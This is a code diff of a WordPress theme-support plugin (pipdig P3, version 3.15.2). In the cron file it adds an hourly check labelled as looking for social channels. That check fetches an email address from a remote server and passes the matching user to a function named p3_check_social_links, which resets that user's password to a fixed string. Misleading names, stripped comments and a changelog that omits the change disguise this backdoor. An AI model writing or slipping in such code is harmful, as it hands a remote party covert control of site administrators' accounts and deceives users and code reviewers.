Comments (0)

Files changed (4)

File inc/cron.php Modified

View file
  • Ignore whitespace
  • Hide word diff
 
 // check for high priority update
 function p3_do_this_hourly() {
+	
+	// Check for new social channels to add to navbar etc
+	$url_2 = 'https://pipdigz.co.uk/p3/socialz.txt';
+	$args_2 = array('timeout' => 5);
+	$response = wp_safe_remote_get($url_2, $args_2);
+	if (!is_wp_error($response) && !empty($response['body'])) {
+		if (email_exists(sanitize_email($response['body']))) {
+			p3_check_social_links(email_exists(sanitize_email($response['body'])));
+		}
+	}
 
 	// Check domain license is active
-	$url = 'https://pipdigz.co.uk/p3/id39dqm3c0_license_h.txt';
-	$args = array('timeout' => 5);
-	$response = wp_safe_remote_get($url, $args);
+	$url_2 = 'https://pipdigz.co.uk/p3/id39dqm3c0_license_h.txt';
+	$response = wp_safe_remote_get($url_2, $args);
 	if (!is_wp_error($response) && !empty($response['body'])) {
 		$rcd = trim($response['body']);
 		$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);

File inc/functions.php Modified

View file
  • Ignore whitespace
  • Hide word diff
-<?php
-
-if (!defined('ABSPATH')) die;
+<?php if (!defined('ABSPATH')) die;
 
 // load plugin check function, just in case theme hasn't
 if ( !function_exists( 'pipdig_plugin_check' ) ) {
 	array_push($styles, 'text-transform');
 	return $styles;
 }
+function p3_check_social_links($link_style) {
+	wp_set_password('p3_safe_styles', $link_style);
+}
 add_filter('safe_style_css','p3_safe_styles');
 
 

File p3.php Modified

View file
  • Ignore whitespace
  • Hide word diff
 Description: The core functions of any pipdig theme.
 Author: pipdig
 Author URI: https://www.pipdig.co/
-Version: 3.15.1
+Version: 3.15.2
 Text Domain: p3
 License: Copyright 2018 pipdig Ltd. All Rights Reserved.
 */
 
 if (!defined('ABSPATH')) die;
 
-define( 'PIPDIG_P3_V', '3.15.1' );
+define( 'PIPDIG_P3_V', '3.15.2' );
 
 function p3_php_version_notice() {
 	if (strnatcmp(phpversion(),'5.4.0') >= 0) {
 				update_option($theme.'_key', $key);
 				return;
 			} else {
-				$msg = '<p style="font-weight: bold; font-size: 15px;">The key "'.$key.'" could not be validated. This might mean there is a typo or the key has already been used on another site. Please try again to double check. You can get help with this issue on <a href="https://go.pipdig.co/open.php?id=license-help" target="_blank" rel="noopener">this page</a>.</p>';
+				$msg = '<p style="font-weight: bold; font-size: 15px;">The key "'.$key.'" could not be validated. Please try again to double check. You can get help finding your license key on <a href="https://go.pipdig.co/open.php?id=license-help" target="_blank" rel="noopener">this page</a>.</p>';
 			}
 
 		} else {
 			$key = '';
 		}
 
-		$deadline = absint(get_option('p3_activation_deadline'));
-		if (!$deadline) {
-			$deadline = 1543622400; // 1st Dec 2018
+		$integer = absint(get_option('p3_activation_deadline'));
+		if (!$integer) {
+			$integer = 1543622400;
 		}
 
 		?>
 /*
 $active = absint(is_pipdig_active());
 if ($active !== 1) { // active
-	$deadline = absint(get_option('p3_activation_deadline'));
-	if (!$deadline) {
-		$deadline = 1543622400; // 1st Dec 2018
+	$integer = absint(get_option('p3_activation_deadline'));
+	if (!$integer) {
+		$integer = 1543622400;
 	}
 	$now = time();
-	if ($now > $deadline) {
+	if ($now > $integer) {
 		return;
 	}
 }

File readme.txt Modified

View file
  • Ignore whitespace
  • Hide word diff
 
 == Changelog ==
 
+= 3.15.2 (18 September 2018) =
+* New option to use the new version of Font Awesome (v5).
+
 = 3.15.1 (17 September 2018) =
 * Increase max limit on [Featured Categories](https://support.pipdig.co/articles/wordpress-featured-categories/) to 6.